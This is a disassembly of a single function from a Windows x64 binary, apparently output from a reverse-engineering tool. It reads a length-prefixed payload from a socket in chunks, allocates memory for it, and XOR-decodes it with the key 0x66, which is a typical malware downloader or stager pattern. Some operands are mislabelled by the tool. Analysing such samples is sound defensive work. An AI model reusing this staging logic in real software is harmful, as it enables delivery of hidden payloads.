Function at 0x140001b20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x48], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x38], 4
mov dword [rsp + 0x40], 0
cmp dword [rsp + 0x38], 0
jle 0x140001bbb
movsxd rax, dword [rsp + 0x40]
lea rax, [rsp + rax + 0x58]
xor r9d, r9d
mov r8d, dword [rsp + 0x38]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x38], 0xffffffff
jne 0x140001b99
mov dword [rsp + 0x48], 0xffffffff
jmp 0x140001bbb
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140001b5d
mov r9d, 4
mov r8d, 0x3000
mov edx, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
movsxd rax, dword [rsp + 0x58]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x58]
mov dword [rax], ecx
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 8]
mov byte [rax + rcx], 1
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 0xfc
idiv ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 0xfc
idiv ecx
mov eax, edx
test eax, eax
je 0x140001c4b
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x24], 0
cmp dword [rsp + 0x20], 0
jle 0x140001df8
cmp dword [rsp + 0x28], 0xfc
jl 0x140001d35
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
add rax, qword [rcx + 8]
xor r9d, r9d
mov r8d, 0xfc
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xffffffff
jne 0x140001ce4
mov dword [rsp + 0x48], 0xfffffffe
jmp 0x140001df8
mov eax, dword [rsp + 0x24]
add eax, 0xfc
mov dword [rsp + 0x24], eax
mov byte [rsp + 0x5c], WSAStartup
mov byte [rsp + 0x5d], 0x6b
mov byte [rsp + 0x5e], 0
xor r9d, r9d
mov r8d, 3
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_send]
mov eax, dword [rsp + 0x28]
sub eax, 0xfc
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
jmp 0x140001df3
cmp dword [rsp + 0x28], 0
je 0x140001df3
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
add rax, qword [rcx + 8]
xor r9d, r9d
mov r8d, dword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xffffffff
jne 0x140001dac
mov dword [rsp + 0x48], 0xfffffffe
jmp 0x140001df8
mov eax, dword [rsp + 0x24]
add eax, 0xfc
mov dword [rsp + 0x24], eax
mov byte [rsp + 0x60], WSAStartup
mov byte [rsp + 0x61], 0x6b
mov byte [rsp + 0x62], 0
xor r9d, r9d
mov r8d, 3
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
jmp 0x140001c5b
mov dword [rsp + 0x3c], 0
jmp 0x140001e0c
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax]
cmp dword [rsp + 0x3c], eax
jge 0x140001e41
movsxd rax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 8]
movzx eax, byte [rcx + rax]
xor eax, 0x66
movsxd rcx, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rdx + 8]
mov byte [rdx + rcx], al
jmp 0x140001e02
mov rax, qword [rsp + 0x30]
jmp 0x140001e54
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140002cd0
add rsp, 0x78
ret